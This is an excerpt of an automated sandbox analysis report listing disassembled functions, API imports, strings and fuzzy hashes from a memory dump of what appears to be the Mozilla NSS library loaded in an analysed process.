_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB0ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB0EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB0EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CB0EF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB0F483
%s at line %d of [%.10s], xrefs: 6CB0F492
database corruption, xrefs: 6CB0F48D

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 35f78f70347b6230be87a8e9e82555504eee7b00df4b49c00cfb2f22caa8ba6c
Instruction ID: ce8a54dcbeafeddd5a24110d4e4ad20c0513ddc8dcce0bb53e8d6f9b56fe6c7a
Opcode Fuzzy Hash: 35f78f70347b6230be87a8e9e82555504eee7b00df4b49c00cfb2f22caa8ba6c
Instruction Fuzzy Hash: C262BE70B042858FEB14CF65C480B9EBFB2FF49318F184199D8456BB92D735E886CB96

Function 6CBA7D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CBA7DDC

Part of subcall function 6CBE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CB88298,?,?,?,6CB7FCE5,?), ref: 6CBE07BF
Part of subcall function 6CBE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CBE07E6
Part of subcall function 6CBE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBE081B
Part of subcall function 6CBE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBE0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CBA7DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CBA7F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CBA7F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CBA7F98
PK11_FreeSymKey.NSS3(?), ref: 6CBA7FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBA7FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CBA8000

Part of subcall function 6CBC9430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CBA7F0C,?,00000000,00000000,00000000,?), ref: 6CBC943B
Part of subcall function 6CBC9430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6CBC946B
Part of subcall function 6CBC9430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CBC9546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBA8110
PK11_FreeSymKey.NSS3(00000000), ref: 6CBA811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CBA822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CBA823C

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 2c75d096f623040a7113d7f92271e8cc3900da805180e89db906b04d90a2e1f3
Instruction ID: d16d82a8e32a754148f66511fead001506bcfb762fec7b37caa86483a6464fb9
Opcode Fuzzy Hash: 2c75d096f623040a7113d7f92271e8cc3900da805180e89db906b04d90a2e1f3
Instruction Fuzzy Hash: 91C17FB1D442999BEB21CF54CC40BEEB7B8EB05308F0481E5E849B6A41E7719E86CF91

Function 6CBB0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CBB0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CBB0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CBB1006
PK11_FreeSymKey.NSS3(?), ref: 6CBB101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBB1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBB103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CBB1048
memcpy.VCRUNTIME140(?,?,?), ref: 6CBB108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CBB10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CBB10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CBB112E

Part of subcall function 6CBB1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CBB08C4,?,?), ref: 6CBB15B8
Part of subcall function 6CBB1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CBB08C4,?,?), ref: 6CBB15C1
Part of subcall function 6CBB1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBB162E
Part of subcall function 6CBB1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBB1637

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 942dea145f414cbc174d8e432170ebf9a50645be9036f3942b0e572dfdd3caf9
Instruction ID: ef895d550424474d01a39df2945494c8509ce2f88c911414b0ae51c9701ccd61
Opcode Fuzzy Hash: 942dea145f414cbc174d8e432170ebf9a50645be9036f3942b0e572dfdd3caf9
Instruction Fuzzy Hash: B071D2B1E002858FDB00CFA5DD94A7AB7B8FF48318F18862CE509A7711EB31D954CB92

Function 6CBD1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CBD1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CBD2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CBD228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CBD23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBD241C

Strings

serial, xrefs: 6CBD22A2
model, xrefs: 6CBD23CB, 6CBD23EC
token, xrefs: 6CBD1F2C
manufacturer, xrefs: 6CBD2179

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 72fade7c0cb35721ae6b13db03e38f349708a2625bc4405ce15707d03d0fa2d7
Instruction ID: 196101f72af987f113d88d1c2c7480caa2c2eee80e69a75b54584398e83f35f3
Opcode Fuzzy Hash: 72fade7c0cb35721ae6b13db03e38f349708a2625bc4405ce15707d03d0fa2d7
Instruction Fuzzy Hash: C9020162D0CBC96EFB318671C44C3D76EE0DB46328F0E566ED5DE46683C3A869898353

Function 6CBD6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CB81C6F,00000000,00000004,?,?), ref: 6CBD6C3F

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CB81C6F,00000000,00000004,?,?), ref: 6CBD6C60
PR_ExplodeTime.NSS3(00000000,6CB81C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CB81C6F,00000000,00000004,?,?), ref: 6CBD6C94

Strings

gfff, xrefs: 6CBD6CFD
gfff, xrefs: 6CBD6D9C
gfff, xrefs: 6CBD6CF5
gfff, xrefs: 6CBD6D30
gfff, xrefs: 6CBD6D66

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: db38d16f60db13fb57c85dfa9b0c848da65d5fe7018c9e9ea83b1ee5ef8fb035
Instruction ID: 7ddc49c3fba24916509954dc87e7fa09979ed25965a046c714a824c0add1f68b
Opcode Fuzzy Hash: db38d16f60db13fb57c85dfa9b0c848da65d5fe7018c9e9ea83b1ee5ef8fb035
Instruction Fuzzy Hash: 88513B72B015494FC71CCDADDC526DEBBDAABA4310F48C23AE442DB785D638E906C751

Function 6CC50F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CC51027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC510B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC51353

Strings

$, xrefs: 6CC512A0
%02x, xrefs: 6CC512F6
NULL, xrefs: 6CC5119E
-- , xrefs: 6CC50FF5
zeroblob(%d), xrefs: 6CC51223
'%.*q', xrefs: 6CC51217, 6CC51292
%lld, xrefs: 6CC5114B

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: f5d96aa1cbe1390633124b51840e9dbe91d4f41c69d2d1db2a3083637670aa06
Instruction ID: 6e9ed343977d8dfaf6cc7921ce9332adb3368c45a025340a9816580fecd1fade
Opcode Fuzzy Hash: f5d96aa1cbe1390633124b51840e9dbe91d4f41c69d2d1db2a3083637670aa06
Instruction Fuzzy Hash: 41E1CE71A083809FD714CF19C884A6BBBF1BF85358F84896CE88587B51E771E869CB46

Function 6CC58FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC58FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC590DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC59118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC5915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC591C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC59209

Strings

UUUU, xrefs: 6CC59255
3333, xrefs: 6CC5925E

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 79ed6928083ad4dfc548ab94296b382b166502c4ba9f47650dee0a9746327d3b
Instruction ID: 82d9349bf4a69f2445caa11197161b28bfba2611ad3083a8d237d13753e2d463
Opcode Fuzzy Hash: 79ed6928083ad4dfc548ab94296b382b166502c4ba9f47650dee0a9746327d3b
Instruction Fuzzy Hash: 53A1A0B2E001159BDB04CB69CC90B9EB7B5BF8C324F494179E905A7341E736EC22CB90

Function 6CB10FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CB0CA30: EnterCriticalSection.KERNEL32(?,?,?,6CB6F9C9,?,6CB6F4DA,6CB6F9C9,?,?,6CB3369A), ref: 6CB0CA7A
Part of subcall function 6CB0CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB0CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CB1103E
EnterCriticalSection.KERNEL32(?), ref: 6CB11139
LeaveCriticalSection.KERNEL32(?), ref: 6CB11190
sqlite3_free.NSS3(00000000), ref: 6CB11227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CB1126E
sqlite3_free.NSS3(?), ref: 6CB1127F

Strings

winAccess, xrefs: 6CB1129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CB11267

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: bdf4c3023878fc74604784fc0451d623915b1c74fe9f6510c56a15c6b3c34417
Instruction ID: 1f9c29b07a6c8cd9455f37583d845afa40a8607b1d783327b542fcc334a39aa5
Opcode Fuzzy Hash: bdf4c3023878fc74604784fc0451d623915b1c74fe9f6510c56a15c6b3c34417
Instruction Fuzzy Hash: 9E711731B492819FEB04DF65DC85A6EB376EB9B324F18062DE91187E80DB30E951C793

Function 6CB1AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CC3CF46,?,6CB0CDBD,?,6CC3BF31,?,?,?,?,?,?,?), ref: 6CB1B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CC3CF46,?,6CB0CDBD,?,6CC3BF31), ref: 6CB1B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CC3CF46,?,6CB0CDBD,?,6CC3BF31), ref: 6CB1B0A2
CloseHandle.KERNEL32(?,?,6CC3CF46,?,6CB0CDBD,?,6CC3BF31,?,?,?,?,?,?,?,?,?), ref: 6CB1B100
sqlite3_free.NSS3(?,?,00000002,?,6CC3CF46,?,6CB0CDBD,?,6CC3BF31,?,?,?,?,?,?,?), ref: 6CB1B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CC3CF46,?,6CB0CDBD,?,6CC3BF31), ref: 6CB1B12D

Part of subcall function 6CB09EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB1C6FD,?,?,?,?,6CB6F965,00000000), ref: 6CB09F0E
Part of subcall function 6CB09EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CB6F965,00000000), ref: 6CB09F5D

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 9cafaadc78c06ed4038ac40a2c0c5443c6eeb536c62f26082dd5e0a676859197
Instruction ID: 20676d0d39dd156e085a8bbc231ef157ca1ee5f63a2ca2df352f861854a11b1b
Opcode Fuzzy Hash: 9cafaadc78c06ed4038ac40a2c0c5443c6eeb536c62f26082dd5e0a676859197
Instruction Fuzzy Hash: 6E91AEB1A082458FDB04DF65C884A6AB7B2FF45304F154A2DE416D7F50EB30F999CB52

Function 6CBEBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CBEBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CBEBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CBEBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CBEBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CBEBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CBEBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CBEBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CBEBE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CBEBE1E

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 79ce93aef0f5737f5d37a27d3d6b11333b98a7c87c64ff180bd6a2e2da68d5dc
Instruction ID: 4fc91cbf77b4b209421badcccd156381d5a1cb3618aa6d067bcce018bb599b4d
Opcode Fuzzy Hash: 79ce93aef0f5737f5d37a27d3d6b11333b98a7c87c64ff180bd6a2e2da68d5dc
Instruction Fuzzy Hash: C221557BE043D997FB004A96BC42B8F7274DB99FCEF080514E916EE641E7109414C6AB

Function 6CC98D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CCE14E4,6CC4CC70), ref: 6CC98D47
PR_GetCurrentThread.NSS3 ref: 6CC98D98

Part of subcall function 6CB70F00: PR_GetPageSize.NSS3(6CB70936,FFFFE8AE,?,6CB016B7,00000000,?,6CB70936,00000000,?,6CB0204A), ref: 6CB70F1B
Part of subcall function 6CB70F00: PR_NewLogModule.NSS3(clock,6CB70936,FFFFE8AE,?,6CB016B7,00000000,?,6CB70936,00000000,?,6CB0204A), ref: 6CB70F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CC98E7B
htons.WSOCK32(?), ref: 6CC98EDB
PR_GetCurrentThread.NSS3 ref: 6CC98F99
PR_GetCurrentThread.NSS3 ref: 6CC9910A

Strings

%u.%u.%u.%u, xrefs: 6CC98E74

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 53d4f18c398927a0a9d7f509433f69354b2b07a3d0b1f89828ec0847124c7534
Instruction ID: 17491aaf47c1d629eb14fa523f73a360e26b876ff161aa78b4e5faab0ff9737e
Opcode Fuzzy Hash: 53d4f18c398927a0a9d7f509433f69354b2b07a3d0b1f89828ec0847124c7534
Instruction Fuzzy Hash: 8E0289319052518FDB18CF19C468BAABBB3FF42304F19825ED8969FB91E335E949C790

Function 6CC168E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6CC168FC
PR_EnterMonitor.NSS3 ref: 6CC16924

Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490AB
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490C9
Part of subcall function 6CC49090: EnterCriticalSection.KERNEL32 ref: 6CC490E5
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC49116
Part of subcall function 6CC49090: LeaveCriticalSection.KERNEL32 ref: 6CC4913F

Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707AD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707CD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707D6
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB0204A), ref: 6CB707E4
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,6CB0204A), ref: 6CB70864
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB70880
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,6CB0204A), ref: 6CB708CB
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708D7
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708FB

PR_EnterMonitor.NSS3 ref: 6CC1693E
TlsGetValue.KERNEL32 ref: 6CC16977
TlsGetValue.KERNEL32 ref: 6CC169B8
PR_ExitMonitor.NSS3 ref: 6CC16B1E
PR_ExitMonitor.NSS3 ref: 6CC16B39
TlsGetValue.KERNEL32 ref: 6CC16B62

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
